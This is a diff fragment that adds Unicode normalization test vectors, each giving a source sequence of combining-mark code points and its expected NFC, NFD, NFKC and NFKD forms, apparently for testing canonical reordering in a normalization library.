+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFD, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0316, 0x1DFA, 0x031B, 0x302A, 0x0062], NFC: [0x0061, 0x031B, 0x1DFA, 0x302A, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x1DFA, 0x302A, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x1DFA, 0x302A, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x1DFA, 0x302A, 0x0316, 0x0062] },
+{ source: [0x0061, 0x302A, 0x0316, 0x1DFA, 0x031B, 0x0062], NFC: [0x0061, 0x031B, 0x302A, 0x1DFA, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x302A, 0x1DFA, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x302A, 0x1DFA, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x302A, 0x1DFA, 0x0316, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x302B, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302B, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x302C, 0x0062], NFC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302C, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x302D, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062] },
+{ source: [0x0061, 0x302D, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302E, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302E, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302F, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302F, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x3099, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x3099, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x309A, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062] },
+{ source: [0x0061, 0x309A, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA66F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA66F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA674, 0x0062], NFC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA674, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA675, 0x0062], NFC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA675, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA676, 0x0062], NFC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA676, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA677, 0x0062], NFC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA677, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA678, 0x0062], NFC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA678, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA679, 0x0062], NFC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA679, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67A, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67B, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67C, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67D, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69E, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA806, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA806, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA82C, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA82C, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA8C4, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA8C4, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062] },
